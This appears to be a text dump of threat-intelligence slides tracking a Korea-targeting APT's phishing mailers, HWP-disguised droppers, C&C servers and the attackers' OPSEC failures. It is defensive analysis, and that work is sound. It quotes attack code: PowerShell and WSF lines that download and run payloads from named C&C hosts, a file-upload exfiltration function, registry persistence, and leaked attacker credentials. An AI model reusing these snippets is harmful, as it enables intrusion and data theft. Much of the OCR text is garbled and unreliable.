db 9,9, 'return x.replace(/~\s+|\s+$/gm,"',27h,27h,"');",@Dh,0Ah

db 9,'}',0Dh,0Ah

db @Dh,@Ah

db 9, 'function HttpUpload(sLocalFile, sPhpUrl)',@Dh,@Ah

db 9,'{",0Dh,0Ah

db 9,9, 'var xhr = new ActiveXObject("WinHttp.WinHttpRequest.5.1");",@Dh
db @Ah

db @Dh,@Ah

db 9,9, 'var inputStream = new ActiveXObject(',27h, 'ADODB.Stream’',27h,"')"’
db '; ',0Dh,0@Ah

db ' inputStream.Open(); ',@Dh,0@Ah
db ' inputStream.Type = 1; // adTypeBinary ',@Dh,0Ah
db ' inputStream.LoadFromFile(sLocalFile);',@Dh,0Ah

db 9,9, 'var dom = new ActiveXObject("Msxml12.DOMDocument.3.0");",0Dh,@Ah
db 9,9, 'var elem = dom.createElement("base64");',@Dh,0Ah

db 9,9, 'elem.dataType = "bin.base64";"',@Dh,@Ah

db 9,9, 'elem.nodeTypedValue = inputStream.Read;"',@Dh,@Ah

db 9,9, 'var Base64Encode = elem.text + "\r\n";',@Dh,@Ah

db 9,9, 'inputStream.Close();"',@Dh,@Ah

db @Dh,@Ah
db 9,9, 'var sBoundary = "--——————————- 44cdd22e90f"; ' ,@0Dh,0Ah
db 9,9, 'var sRequestHeader = "--" + sBoundary + "\r\n";',@Dh,@Ah

db 9,9, 'sRequestHeader = sRequestHeader + "Content-Disposition: form-'
db 'data; name=\"binary\"; filename=\"" + sLocalFile + "\"\r\n";',@Dh
db @Ah

db 9,9, 'sRequestHeader = sRequestHeader + "Content-Type: application/'
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POST /1990/scriptPhpServer.php HTTP/1.1

Connection: Keep-Alive

Content-Type: multipart/form-data; charset=UTF-8; boundary= 44cdd22e90f
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 807246

Host: www.military.co.kr

44cdd22e90f
Content-Disposition: form-data; name="binary"; filename="C:\ProgramData\AllList_080027F7ABAB_20180716_1707151"
Content-Type: application/x-object

AAAAAGXxtrThg@YiCnwxb60kmVALSEYQkf69j@rtXrfncWaNTG\ QgSEKdH6GNwbF6VXiNk+sfck8T9hyrtzxNosQyzMnX5RDS8pyoe3ovr39Y258qVhxxRkr+Dj

A9pdiyw9aIW10G6qzqL3Czz3ds3zaMG60AUdCNRKmXIPYVUAGdz 2sv7nqLIRLztpupfI60Fmd+LOtxjH6rej8ihCTcA6IZiTaj THFXI87mQ4S7TH3jmZayrz/sTQ
DUKZbLaC 5cASTGB1B+kds7uj aBR2UmpGolZbhraYvoFgCe WAISKIGEkhiededicorsosss o avasingc CELOIOTITIVAYCCOt uncu)
. @mM+Hemv juNPg5vg z q 0 ecXBe mUc
X10PsmuEVuvh9PxW/40Upev]4Q+znt2k65/AZMz+cSTUNBTBLI gy, 06baqgssinuGpt1372n+hQL3REWIIVEWRFSKIGEP La/KLSHU72qTkAt 11 UEE N rBab+iS
+12kKOFPRC25R8+47XNbeTyvogNukR1A8p+1f+uXsQzJcQ/spzRMK2V1ghM// rnfyHrfIYH4
PI03Ixm2EalLZn2tvFF1SVC1CTege585G4afYWW32umlyGWb4mxZz fK7eVW2+y@iXNiDwNyal
aztgRO3iMJajZKsEY5jwoFv+ZGmXMf79K0UygdZptZQRAtGIFFEqmMZOYzEWOTk/etqsiuS1C
BLNM5yH1pAprAUkgMxYGs/v7VVIwISUw/Qv5TPJIzMhnBguwv3xK70GG6x46mGT rOt3wMPUx1
p8RT+d4C239W8UnrB7GTC612r0Z33Z3dB4zEyeRG6+TCtPVaa0PapQp80fsFSx158exRDw5n
WUdirn0Gg7KnrigY6jrqP9zofhY7vHOZPLt4XD62ZEfhQ21lw77L1Us@TDMRNIz4R2dLmC7aG
BVzYelD3YvyRgVTCdC+/YGWeox+98Z79j c/AaKI+r+RLQQobfGVX+RF93yQqsrGt1T5VV5WQ

[Operation Cobra Venom] : 2019-01-07

s P "ﬁdzze?oxb”dbf"_ff' ______ 'kﬂdzzegoithofh _ UzBYHw102yGfZ2w4IVGITonDpUj XKwvVD2JcP@Qz rSPMDGx ro55DBdn3@d4KHYY@LIRG /yNC
rdata:l0026AEQ db ‘Content-Disposition: form-data; name="binary"; filename="% jx@6qCUIZEQPhxivn1xKiuVjnSI3veljw5hkTUtKhtP1WI+xnt4nygtHO+vPalTRscmyoNpN
rdata:l0026AEQ db 'Content-Type: application/octet-stream’,0Dh,0Ah GSNPLWsbx6/ChHugwNIQrumhhd+YE2Uubu62RBi2qbTWmgz113vRIzvkakUr31qRyKnJ4L 14
: QWMQ5vQUEPCWTV7kAzzP
rdata:10026AEQ db ODh,0Ah0 44cdd22690F——
HTTP/1.1 200 OK
Date: Mon, 16 Jul 2018 04:47:26 GMT
Server: Apache
[Operation Fake Capsule] : 2019-01-20 X-Powered-By: PHP/4.4.9
. Connection: close
I'data10029E48 a44€dd22990fc0n db _____________ 44c ddZZEQOf,ODh,OAh Transfe r_Encod ing . Chunked
rdata:10029E48 db 'Content-Disposition: form-data; name="files"; filename="%s"( Content-Type: text/html
rdata:10029E48 db ‘Content-Type: application/octet-stream’,0Dh,0Ah 11
.rdata:10029E48 db ODh,OAh,O Recv File Success

0
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= C&C - Tracking/Monitoring (18.07.13., D+52)

= HanyangUpload_script.dll - GetName
= 3) C&C : www.military[.]Jco.kr (211.202.2[.]51, KR)

<script language=
try
{
var strPath = WScript.Arguments.Named.Item("filepath");

HttpUpload(strPath, "http://www.military.co.kr/1990/scriptPhpServer.php");

//WScript.Echo(sResults);
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= [CASE 1-2] Camouflaged as HWP documents

63/155



Related Toolset

Mailer (shape)

Mailer (core)

Beaconer
Phisher
Logger

Malicious HWP

Camouflaged HWP

Script

Info Stealer

Mailer

Mailer

Web-Beacon

Account Stealer
Phishing
Logging
Phishing
Dropper

Sprear-Phishing
Dropper

Sprear-Phishing

Downloader
Logging

C&C / DLL/ FTP
Downloader

Logging

Contents

Mailer (just shape)

Mailer (actual function)
1) Attachment malware
2) Link to phishing page for account takeover

Beacon to check whether mail is being viewed

Phishing Toolkit(lod) Phishing Page
for Account Steal

Logging for Phishing Target Information
Malicious HWP Documets

Camouflaged HWP Documents (Ex. sfx, exe ...)

Download additional malware and logging
(Ex. *.vbs, *.wsf, *jse, *.ps1)

Steal Information of Infected Target
and Download additional malware
(Ex. Some case using FTP)



Related Toolset

Mailer (shape)
Mailer (core)
Beaconer
Phisher
Logger

Malicious HWP

Camouflaged HWP

Script

Info Stealer

1

2

6

7

9

Mailer

Mailer

Web-Beacon

Account Stealer
Phishing
Logging
Phishing
Dropper

Sprear-Phishing
Dropper

Sprear-Phishing

Downloader
Logging

C&C / DLL / FTP
Downloader

Logging

Contents

Mailer (just shape)

Mailer (actual function)
1) Attachment malware
2) Link to phishing page for account takeover

Beacon to check whether mail is being viewed

Phishing Toolkit(lod) Phishing Page
for Account Steal

Logging for Phishing Target Information
Malicious HWP Documets

Camouflaged HWP Documents (Ex. sfx, exe ...)

Download additional malware and logging
(Ex. *.vbs, *.wsf, *.jse, *.ps1)

Steal Information of Infected Target
and Download additional malware
(Ex. Some case using FTP)
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= [CASE 1-2] Camouflaged as HWP documents
= SFX

2ot [gor [ Ael | 0@ BE
E f7d2780bc 7Thb24d 7525012a566a37C5, scr
THe &4 301 H57]( scn) Member Value
Lo, {7d2780bc 7Thb24d 752501 226662375, scr ManifestVersion 10
Q) 5] s '
Al ) CiwlsersWIEUserwDesktop Py & S
0|2 otz 37| 2= 37 mYES SHS ST WInRAR SEX
m 1.hwp 208,980 322560 sSHE2OA ok, 2019-03-07 2= 6:03:26 Win32
1.\.-'b5 2019 4759 VBScript 23 2019-02-28 2% 4:05:48
1.00.0
X A ORHH AFSAHISF) AT E HIAMI TETIH S0 i
- " ture o
etup=1.hwp Z
Setup=wscript.exe 1.vhs 6585b64144ccild!
Tempkode
Silent=1

Dverwrite=1

e Tems sm e
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= [CASE 1-2] Camouflaged as HWP documents

* Flow
1) Execute >
Normal HWP Documents g
111.scr 1.hwp
(Camouflaged (Normal HWP Documents)

as HWP documents)

2) Execute
Malicious Script

| VB 3) BASE 64 4) Execute 5) Download
- l))ecodlng * o Decoded > - -Malware from C&C~
- Powershell Script = and Execute

1.vbs Powershell Script C&C Sever
(Malicious Script) (primary-help.esy.es)
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= [CASE 1-2] Camouflaged as HWP documents
* Powershell — Set Registry

= Path: WWindowsWCurrentVersionWScreensavers
= Name: ScreenRibbonsDomain

= Value: primary-help.esy.es

$server = 'primary-help.esy.es’;

$regPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Screensavers';
if(!(Test-Path $regPath)){New-Item -Path $regPath —Force|Out-Null};
new—itemproperty —-path $regPath -Name 'ScreenRibbonsDomain' -value $server
—PropertyType 'String' -Force|Out-Null; Set Registry Value
$ wndir_ = $env:windir;

$_tmp_ = $env:tmp;

$dm@ = 'cmd.exe':

$pathl = $env:tmp + '\typsmsros.txt';

if (Test-Path $pathl){ Remove-Item $pathl }; Additional malware

$url = 'http://' + $server + '/Est/down/IEReinstal.a'; Download path

$ proDt_ = $ _wndir + '\..\ProgramData’;
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[BULLETIN]

= [CASE 1-2] Camouflaged as HWP documents

= Powershell - Download malware and Execute

$Encrypted ConvertTo- SecureStrlng $Securel key $key;

$BSTR = [S Runtime eropServices.Marshal]::SecureStringToBSTR($Encrypted);

$ldfsl = [ Runtime f.‘~';z~s'.Aa;w_“v“-;‘,] :PtrToStringAuto($BSTR) -replace ' _tmp_',$_tmp_;
$Ldfl = $1df51 —replace l cmd.exe /c bitsadmin /transfer notepadework /download

/priority normal http://primary-help.esy.es/Est/down/IEReinstal.a
C:\Users\IEUser\AppData\Local\Temp\typsmsros.txt

while (!(Test-Path $pathl)) { Start-Sleep 10 };
$ldf2 = '/c rundl132 ' + $pathl + ', EntryFuncl';
start-process -WiNDoWsTyle hIddeN $dm@ $1df2

cmd. exe /c rundl132
C:\Users\IEUser\AppData\Local\Temp\typsmsros.txt, EntryFuncl

[Command] [Contents]
cmd.exe /c bitsadmin

/transfer notepadework
/d load /oriori | Download additional malware
ownload /priority norma from C&C(primary-help[.]esy.es) and

http://primary-help[.]esy.es/Est/down/IE

: Save file(typsmsros.txt) at %TEMP%
Reinstal.a But, Couldn't be download malware
% TEMP2\typsmsros.txt at the time of analysis (719.03.14.)

cmd.exe /c rundli32 Execute malware(typsmsros.txt) 5o

- %YTEMP%\typsmsros.txt, EntryFunc1 | ExportName : EntryFunc
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Tracking Malware & Monitoring c&cVIrus

= [CASE 1-2] Camouflaged as HWP documents
= Return! (2019.04.01.)
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= [CASE 1-2] Camouflaged as HWP documents
= Return! (2019.04.01.)
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Tracking Malware & Monitoring C&CVi

= [CASE 1-2] Camouflaged as HWP documents

= Return! (2019.04.01.)
= Directory Listing = Mailer +_+

#01-change-c2 Apr 1st at 10:02:54 nnel

Index of / APP 10:.02
Kimsuky C2 - http:/primary-help.esy.es/

mail.php

® ZF2 28 primary-help.esy.es

Index of /

. | ok.php 73/155




= (& ® %<2 & primary-help.esy.es .
)ring c&cVIrus

Index of /
NP documents
mail.php
mail_ok.php
= Mailer - shape & core
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& 5 (0 @O F°o Q& primary-help.esy.es

yring C&CVI[US

lndex Of/ & 2 C © F2# primary-help.esy.es/mail.php

suxolg e <= Sender Name
. suxopY oo = Sender E-mail
e mail.php +uxolg o0s (= Recelver Name
e mail_ok.php suxoiy ~oomk~ Recelver E-mail
. = % -
= Mailer - shape & core | <= Title
8 Contents

Heop npee seemize Attachments
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& 5 0 @O %o 2% primary-help.esy.es

yring C&CVI[US

€ > C Ozl

primary-help.esy.es/mail.php

Index of /

<- Sender Name
<- Sender E-mail

SLXOIE o
SAMXIO|Y samopry

Ixf

e mail.php sux0l8 o0e <~ Receiver Name
e mail_ok.php suxoiy ~oomk~ Recelver E-mail
. X2 HS <- Title
= Mailer - shape & core
DOCTYFE html
<html lang="ja">
<head> e Contents
<meta charset="utf-8">
<META http-equiv="Content-Language" CONTEN
<meta name="product” content="Metro UI CSS
<meta name="description” content="Time-Spac £
<meta name="author” content="Time-Space”> myupel —_— a
<meta name="Keywords" content="js, c€ss, met MR enm e AttaChmentS
<body~>

<form method="post" name="frm" id="frm" [action=

"mail ok.php'| enctype="multipart/form-data" >

<table-
<tr>
<td>&4AIX0|1E</td>
<td->

<input type="text" name="from_name" id="from_name" placeholder="&2AXH" size="35" >

</td>
</tr>
</tr>

55



Tracking Malware & Monitoring c&cVIrus

= [CASE 1-2] Camouflaged as@IjIVYP documents
(eiz |81 http://primary-help.esy.es/mail php

¢ SARI| |95 @] =F MO|E v @] Web Slice Gallery v

= Self-Testing
using My Email

W
| @ http://primary-help.esy.es/mail php

EAARI0I S sender
ELMA0|HE sender@gmail.com
TAAOS  recy
T=AMEOIOIY jack2@fsec.orkr
M= send 2 recy
Hello ~ 7|
L{ =
Ty ZH0E27)...




Tracking Malware & Monitoring C&CVi

= [CASE 1-2] Camouflaged as HWP documents

@U' 'éhﬁ rimary -help.esy.es/mail.php

= Self'TEStlng dr A7 | 8] =8 A0IE v ] Web Slice Gallery ~
. . @ http://primary-help.esy.es/mail php
using My Email : —
. EMA0|SE sender
=> Sending normally SAROIDIE sender@gmalcom
r ==A|
2 HO|X|2| HAIX ) | TEAOS o
TR0 MY jack2@fsec.or kr
= send 2 recv
[, 00 ZANOE waHSLL ie11o ~
L =
Fog Z0HED.
COMMIT
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M= send 2 recv
= [CASE 1-2] Camouflaged =" sender <sender@gmailcom>
EEAE recv <jack2@fsec.or.kr>
» Check Email HULh 2019-04-01 11:13:03
(Sent by mai|er) AZHHS S Bt 2019-04-01 11:13:03

Qluk METkol 171(497.64KB)
+ L0 AIALE].zip (497.64KB)

X-MailChannels-SenderlId:
hostingerinternationalltd|x—authuser|u372938130@srv164.main-hosting.eu
X-MailChannels—-Auth-Id: hostingerinternationalltd
X-Scare-Bored: 7cec7e7c0de5d0b0_1554084780240 3304895434
X-MC-Loop-Signature: 1554084780239:1219428380
X-MC-Ingress—-Time: 1554084780239
Received: from u372938130 by srvl64.main-hosting.eu with local (Exim 4.90_1)
(envelope—from 4u372938130@srv164.main—hosting.eu )
id 1hAmRV-0019kp-NZ
for jack2@fsec.or.kr; Mon, 01 Apr 2019 02:12:57 +0000
To: "=7UTF-87B?cmVjdg==7= " <jack2@fsec.or.kr>
Subject: =?UTF-87?B7c2VuZCAyIH]lY3Y="7=

\"




Tracking Malware & Monitoring C&CVILL2

= [CASE 1-2] Camouflaged as HWP documents

* Check Email
= Attachment from Daum : A|A}2].zip (A ALE].vbs)
= Web Beacon : hxxp://[C&C]/_log/reading.php?uid=[E-mail]

a target="_blank" rel="noopener noreferrer" href="http://attach.mail.daum.net/bigfi
img src="https://ssl.pstatic.net/static/pwe/nm/btn_savepc.png" width="17" heigh

a

td
td ="left" width="3" td
td ="left" width="17" height="25" valign="middle"
img src="http://maill.daumcdn.net/mail_static/mint/img/big/ico_zip.png" width="
td
td ="1left" width="7" td
17 td ="1left" valign="middle" style="font-size:13px; font-family: 'S &', 'Malgun
tr
tbody
table
br Web beacon

img src="http://primary-help.pe.hu/_log/reading.php?uid=jack2@fsec.or.kr" s$tyle="display:no




Tracking Malware & Monitoring C&CV

= OPSEC FAIL CASES

= 1) Directory Listing
=> Detect New Malware & Mailer
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Tracking Malware & Monitoring c&cVIrus

= OPSEC FAIL CASES
= 1) Directory Listing : Detect New Malware & Mailer

= 2) Leaked FTP Access Information
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Related Toolset

Mailer (shape)

Mailer (core)

Beaconer
Phisher
Logger

Malicious HWP

Camouflaged HWP

Script

Info Stealer

Mailer

Mailer

Web-Beacon

Account Stealer
Phishing
Logging
Phishing
Dropper

Sprear-Phishing
Dropper

Sprear-Phishing

Downloader
Logging

C&C / DLL/ FTP
Downloader

Logging

Contents

Mailer (just shape)

Mailer (actual function)
1) Attachment malware
2) Link to phishing page for account takeover

Beacon to check whether mail is being viewed

Phishing Toolkit(lod) Phishing Page
for Account Steal

Logging for Phishing Target Information
Malicious HWP Documets

Camouflaged HWP Documents (Ex. sfx, exe ...)

Download additional malware and logging
(Ex. *.vbs, *.wsf, *jse, *.ps1)

Steal Information of Infected Target
and Download additional malware
(Ex. Some case using FTP)
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Script
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Phishing
Logging
Phishing
Dropper

Sprear-Phishing
Dropper

Sprear-Phishing
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Logging

C&C / DLL / FTP
Downloader

Logging

Contents

Mailer (just shape)

Mailer (actual function)
1) Attachment malware
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Beacon to check whether mail is being viewed

Phishing Toolkit(lod) Phishing Page
for Account Steal

Logging for Phishing Target Information
Malicious HWP Documets

Camouflaged HWP Documents (Ex. sfx, exe ...)

Download additional malware and logging
(Ex. *.vbs, *.wsf, *.jse, *.ps1)

Steal Information of Infected Target
and Download additional malware
(Ex. Some case using FTP)
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= [CASE 2] Leaked FTP Access Information
= Malicious Script (Delivered-Email.wsf)

ANY.RUN v
@anyrun_app

Looks like a new #APT, which aims Korea?

C2: user-protect-center[.]Jpe[.]hu - 185.224.137[.]164
(was used before for the spreading of #njRAT)

PL: [EService.dat - Very low detection rate (6/68)

Requests for different final payload or update for every
user

app.any.run/tasks/680af12b...

Reference : https://twitter.com/anyrun_app/status/1115513990711521280 85/1 55



Tracking Malware & Monitoring C&CVI[U

BULLETIN

= [CASE 2] Leaked FTP Access Information

= Malicious Script (Delivered-Email.wsf)

= 1) Additional Malware download from C&C

docfile "Delivered-Email.eml";
zipfile = "IEService.";
zf_ext = "rar"

runfile = "IEService.dat";
password = "123456";

root = "http://user-protect-center.pe.hu/";
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= [CASE 2] Leaked FTP Access Information

= Malicious Script (Delivered-Email.wsf)
= 1) Additional Malware download from C&C
= 2) Open Email (Normal Email)

o0 0T ®w [ v i ogezos.
adidas Originals 20181 78 3% 2% 7:42

AO
(211) YEEZY 500 UTILITY BLACK 222! 2 Z0]f| S25IA|2.
Hh= A2k brata85

WOMEN KIDS STOREFINDER ©




Tracking Malware & Monitoring C&CV

= [CASE 2] Leaked FTP Access Information

.rdata:10010368 ; Export Ordinals Table for EngineDropperD1ll.d1ll
.rdata:10010368 ;

.rdata:10010368 word_10010368 dw 0, 1 ; DATA XREF: .rdata:10010354t0
.rdata:1001036C akEnginedropperd db 'EngineDropperD1ll.dll',@

.rdata:1001036C ; DATA XREF: .rdata:1001033Cto
.rdata:10010381 aDllregisterser db 'D11RegisterServer',0

.rdata:10010381 ; DATA XREF: .rdata:off_10010360t0

.rdata:10010393 alecheckupdate db 'IECheckUpdate',® ; DATA XREF: .rdata:off_10010360t0
.rdata:100103A1 align 1000h

= 3) Execute Malware (Info Stealer)

SHGetFolderPathA(@, 26, @, @, &pszPath);

strcat_s(&pszPath, 0x104u, "\\IEUpdate");

CreateDirectoryA(&pszPath, 0);

GetModuleFileNameA(hModule, &Filename, 0x104u);

sprintf_s(&NewFileName, @x104u, "%s\\%s", &pszPath, "IEService.dat");

CopyFileA(&Filename, &NewFileName, 0);

GetSystemDirectoryA(&Buffer, @0x104u);

sprintf_s(&Data, 0x208u, "%s\\rundl132.exe \"%s\\%s\",%s", &Buffer, &pszPath, "IEService.dat", "IECheckUpdate");

if ( !'RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", @, @0xF@@3Fu, &phkResult) )
{

RegSetValueExA(phkResult, "IEService", @, 1lu, &Data, strlen(&Data));
RegCloseKey(phkResult);
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Tracking Malware & Monitoring C&CVI[U

BULLETIN

= [CASE 2] Leaked FTP Access Information

= Malicious Script (Delivered-Email.wsf)
= 1) Additional Malware download from C&C
= 2) Open Email (Normal file)
= 3) Execute Malware (Info Stealer)
= 4) FTP Upload

vl4 = InternetOpenA("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", @, 0, 0, 0);
if (vid)
return 0;

v1l5 = InternetConnectA(v14, &szServerName, @x15u, szUserName, szPassword, 1lu, 0x8000000u, 0);
vle = v15;
if (v15)
{
if ( FtpSetCurrentDirectoryA(v15, "log") )

{
if ( FtpGetFileA(v16, lpszRemoteFile, lpszNewFile, @, @, 0x80000002, @) )

v20 = 1;
FtpDeleteFileA(v16, lpszRemoteFile);
}



Tracking Malware & Monitoring c&cVIrus

= [CASE 2] Leaked FTP Access Information

» OPSEC FAIL!  fm server ready.

331 Password required for u428325809
- 4) FTP Upload logged in

CWD log

250 CWD command successful
TYPE I

200 Type set to I

PASV

227 Entering Passive Mode (185,224,137,164,140,72).
SIZE 7cd9e0e6_IEUpdate64

vl4 = InternetOpenA("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", @, 0, 0, 0);
if (1vid)
return 0;
v1l5 = InternetConnectA(v14, &szServerName, @x15u, szUserName, szPassword, 1lu, 0x8000000u, 0);
vle = v15;
if (vi15)
{
if ( FtpSetCurrentDirectoryA(v15, "log") )

{
if ( FtpGetFileA(v16, lpszRemoteFile, lpszNewFile, @, @, 0x80000002, @) )

v20 = 1;
FtpDeleteFileA(v16, lpszRemoteFile);
}



Tracking Malware & Monitoring c&cVIrus

= [CASE 2] Leaked FTP Access Information
= C&C : FTP Upload

* Free Hosting Service (Hostinger)

= Compromised website in South Korea
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= [CASE 2] Leaked FTP Access Information

» OPSEC FAIL!  fm server ready.

331 Password required for u428325809
m
. 4) FTP Upload 0 User u428 309 logged in

CWD log

250 CWD command successful

TYPE 1

200 Type set to I

PASV

227 Entering Passive Mode (185,224,137,164,140,72).
SIZE 7cd9e0e6_IEUpdate64
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= [CASE 2] Leaked FTP Access Information

» OPSEC FAIL!  fm server ready.

331 Password required for u428325809
- 4) FTP Upload logged in

CWD log

250 CWD command successful
TYPE 1

200 Type set to I

PASV

220 FTP Server ready,
227 Entering Passive Mode (185,224,137,164,140,72).
USER u487458083.oeks39402.890m.com| SIZE 7cd9e0e6_IEUpdate6a

331 Password required for u487458083.0 . . .o o o
PASS rhdwnlll

230 User u487458083.0eks39402.890m.com logged in
CWD InstF

250 CWD command successful

TYPE I

200 Type set to I

PASV

227 Entering Passive Mode (153,92,6,159,140,4).
SIZE ChromInst

550 ChromInst: No such file or directory

RETR ChromInst

550 ChromInst: No such file or directory 93/155
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= [CASE 2] Leaked FTP Access Information

» OPSEC FAIL!  fm server ready.

331 Password required for u428325809
- 4) FTP Upload logged in

CWD log

250 CWD command successful
TYPE I

200 Type set to I

PASV
220 FTP _Server readv., ) )

331 Password required for u487458083.oSIZE 7cd9e9eb_TEUpdatebd

PASS rhdwnlll 220 FTP_Server ready.

230 User u487458083.0eks39402.890m. com|USER u487458083. vkcxvkweo. 96. 14

CWD InstF 331 Password required for u487458083.vkcxvkweo.96. 1t
250 CWD command successful FKES rhdwnlll

TYPE 1 230 User u487458083.vkcxvkweo.96.1t logged in
200 Type set to I CwWD Ftake

PASV 250 CWD command successful

227 Entering Passive Mode (153,92,6,15 TYPE I

SIZE ChromInst 200 Type set to I

550 ChromInst: No such file or directo PASV

RETR ChromInst 227 Entering Passive Mode (153,92,6,159,138,203).

550 ChromInst: No such file or directo STOR retry

TENA Drnanmsnrnsa DTRAIADVY mada Aadas AcannmnacrdtEasanm fAr rmrade gy s
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= [CASE 2] Leaked FTP Access Information

* Free Hosting Service (Hostinger)

Date
2019/04/03
2019/04/09
2019/04/17

2019/05/15

2019/05/16

2019/05/27

2019/06/07

= Love victory & rhdwn (&F -> princess)

C&C
user-daum-center[.]pe.hu
user-protect-center[.]pe.hu
nid-protect-team[.]pe.hu

0eks39402[.]1890m.com

nid-management-team[.]890m.com

naiei-aldiel[.]16mb.com

vkcexvkweo[.]196.1t

Login ID
u859027282
u428325809
u621356999

u487458083

u142759695

ud87458083

u487458083

Password
victory123!@#
victory123!@#
victory123!@#

rhdwn111

victory123!@#

Victorious!@#

rhdwn111

Contents
Same Password (1)
Same Password (1)
Same Password (1)

Same Password (2)
Same UID

Same Password (1)

Similar Password (1)
Same UID

Same Password (2)
Same UID
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= [CASE 2] Leaked FTP Access Information

* Free Hosting Service (Hostinger)

* | ove victory -> Webshell Password

Date C&C Login ID Password Contents
2019/04/03 user-daum-center[.]pe.hu u859027282 victory123!@# Same Password (1)
2019/04/09  user-protect-center|[.]pe.hu u428325809 victory123!@# Same Password (1)
2019/04/17 nid-protect-team[.]pe.hu u621356999 victory123!@# Same Password (1)
2019/05/15  0eks39402[.]890m.com u487458083 rhdwn111 Same Password (2)

Same UID

2019/05/16 nid-management-team[.]890m.com u142759695 victory123!@# Same Password (1)

m

@ b374k 2.8




Tracking Malware & Monitoring c&cVIrus

= OPSEC FAIL CASES
= 1) Directory Listing : Detect New Malware & Mailer

= 2) Leaked FTP Access Information
=> Get Server-side toolkit
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= OPSEC FAIL CASES
= 1) Directory Listing : Detect New Malware & Mailer

= 2) Leaked FTP Access Information : Get Server toolkit

= 3) File Download vulnerability
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Related Toolset

Mailer (shape)

Mailer (core)

Beaconer
Phisher
Logger

Malicious HWP

Camouflaged HWP

Script

Info Stealer

Mailer

Mailer

Web-Beacon

Account Stealer
Phishing
Logging
Phishing
Dropper

Sprear-Phishing
Dropper

Sprear-Phishing

Downloader
Logging

C&C / DLL/ FTP
Downloader

Logging

Contents

Mailer (just shape)

Mailer (actual function)
1) Attachment malware
2) Link to phishing page for account takeover

Beacon to check whether mail is being viewed

Phishing Toolkit(lod) Phishing Page
for Account Steal

Logging for Phishing Target Information
Malicious HWP Documets

Camouflaged HWP Documents (Ex. sfx, exe ...)

Download additional malware and logging
(Ex. *.vbs, *.wsf, *jse, *.ps1)

Steal Information of Infected Target
and Download additional malware
(Ex. Some case using FTP)
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Tracking Malware & Monitoring C&CViruS

BULLETIN

= [CASE 3] File Download vulnerability
= EML - HWP Attachment

=]
oM
ol

[2lag

=8k [Ministry of Foreign Affairs]
Japan-related daily trends

ne

il
0% r

Rl

rr o

ne

LUt MEur 17} (15KB)

v | [y 20190312 Y2 A LLSEH(2).hwplI5KB)

http://member-authorize.com/security/
downloads/download.php?

fileName=20190312%20%EC%9D%BC%EB%B3
S=0} 17t 0|37 917 a Lick

%B8%20%EA%BA%B0%EB%A0%A8%20%EC%9
X2 28 Ca(L| 949 A THIZILICH D%BC%EC%ID%BC%EB%8F%99%ED%96%A5
%EC%99%84).hwp
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BULLETIN

= [CASE 3] File Download vulnerability
= EML - HWP Attachment

» Distribution Server : member-authorize[.Jcom

=]
oM
ol

[2lag

=8k [Ministry of Foreign Affairs]
Japan-related daily trends

ne

il
0% r

Rl

rr o

ne

LUt MEur 17} (15KB)
v | [y 20190312 Y2 A LLSEH(2).hwplI5KB)
http://member-authorize.com/security/

downloads/download.php?
fileName=20190312%20%EC%9D%BC%EB%B3

S5O0 11t O|FF AR RAQLICE. %B8%20%EA%B4%80%EB%A0%A8%20%EC%9
2 22C2|L| 2 R OHRIL|CHA D%BC%EC%9D%BC%EB%8F%99%ED%96%A5 (

%EC%99%84).hwp /1 55
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BULLETIN

Geo Netherlands (NL) —
O [CASE 3] File Download vuln AS AS47583 - AS-HOSTINGER, LT

m EML — HWP Attachment Registrar RIPENCC

Route 185.224.136.0/22
» Distribution Server : member-authorize[.Jcom

=]
oM
ol

to
El
I

=8k [Ministry of Foreign Affairs]

Japan-related daily trends

Rl

rr o

o ne
0% r
n=

LUt MEur 17} (15KB)

v | [y 20190312 Y2 A LLSEH(2).hwplI5KB)

http://member-authorize.com/security/
downloads/download.php?
fileName=20190312%20%EC%9D%BC%EB%B3
SS0h11t 0| A % IL|CF. %B8%20%EA%BA4%80%EB%A0%A8%20%EC%9
2 22C2|L| 2 R OHRIL|CHA D%BC%EC%9D%BC%EB%8F%99%ED%96%A5 (
%EC%99%84).hwp
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Tracking Malware & Monitoring C&CVirUS

BULLETIN

= [CASE 3] File Download vulnerability
= 1) HWP
= EPS(Encapsulated Postscript),

Summary Information (X) =-F3 Root Entry

WETES - D BinData

e P e BJ BIN0001 eps

uHe | - B‘ BodyText

Er& - L[] SectionD

El--t? DocOptions

At HET 17} (15KB) . L] _LinkDoc

v| [ 20190312 Y2 2H2 YASEHEH).hwplD5KB) | - t* Scripts
http://member-authorize.com/security/ P l | DEIBUltJSCH pt
downloads/download.php? S l | JScriptVersion
fileName=20190312%20%EC%9D%BC%EB%B3 -

S50H11t 0| ZF A L|CE %B8%20%EA%BA4%80%EB%A0%A8%20%EC%S [N l | Doclnfo

P IR R T [=C Ml D%BC%EC%9D%BC%EB%EF%I9%ED%IE%AS
= SR 85 AasEyn %EC%99%84).hwp -[] FileHeader
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= [CASE 3] File Download vulnerability

= 2) Powershell
= Get Malicious Script from ddlovel[.]lkr

powershell "echo '<job>
<script>

try {
X = new ActiveXObject(\"Microsoft.XMLHTTP\");

x.0pen(\"GET\",\"http://ddlove.kr/bbs/data/1\",0);
X.Send();
eval (x.responseText);
}catch(e){;}
</script>
</job>'|Out-File c:\programdata\l.wsf;
Invoke-Item c:\programdata\l.wsf"
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Tracking Malware & Monitoring C&CV

= [CASE 3] File Download vulnerability
= 3) 1.wsf

= (a) Set var

= (b) Check Extract Util - WIinRAR / ALZip
* (c) Check Response

= (d) Save File & Extract

= (e) or Save File & Decoding

= (f) Execute file
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if (fs.FileExists(folder + runfile))

{
WScript.Sleep(2000);

objShell.Run("powershell.exe -windowstyle hidden rundl132 " + folder + runfile + ",

GrapHouse", @, true);
try{
log.open("GET", "http://ddlove.kr/bbs/data/board.php?v=f", false);
log.send();

objShell.Run("powershell.exe -windowstyle hidden rundll32 " + folder
+ runfile + ",GrapHouse", 0, true);

rdata:1001A9F0 ; Export Ordinals Table for Freedom.dll
rdata:1001A9F0 ;

rdata:1001A9F0 word_1001A9F0 dw 0@ ; DATA XREF: .rdata:1001A9E4to
